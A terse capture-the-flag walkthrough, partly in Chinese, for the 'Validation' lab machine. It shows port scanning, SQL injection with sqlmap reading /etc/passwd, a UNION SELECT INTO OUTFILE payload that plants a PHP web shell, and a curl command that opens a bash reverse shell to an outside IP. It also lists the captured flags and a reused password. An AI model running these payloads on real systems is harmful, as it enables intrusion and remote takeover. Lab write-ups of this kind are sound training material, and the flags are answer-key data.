[Meachines] [Easy] Validation SQLI+信息泄露权限提升

Information Gathering

$ ip='10.10.11.116'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8f5efd2d3f98dadc6cf24859426ef7a (RSA)
|   256 463d6bcba819eb6ad06886948673e172 (ECDSA)
|_  256 7032d7e377c14acf472adee5087af87a (ED25519)
80/tcp   open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SQLI

http://10.10.11.116/account.php

username=x&country=' UNION SELECT 1--+

username=x&country=' ORDER BY 1--+

字段为1

$ python3 /home/maptnh/sqlmap-dev/sqlmap.py -r sql --batch --level 5 --risk 3 -p 'country'

$ python3 /home/maptnh/sqlmap-dev/sqlmap.py -r sql --batch --level 5 --risk 3 -p 'country' --file-read='/etc/passwd'

username=x&country=' UNION SELECT "<?php SYSTEM($_REQUEST['shell']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

$ curl 'http://10.10.11.116/shell.php' --data-urlencode "shell=/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.28/445 0>&1'"

User.txt

3ac2b2e772e3990b49e4bff189e72540

Privilege Escalation

uhc-9qual-global-pw

Root.txt

c9c56229660a90c2f45caebacb21ecff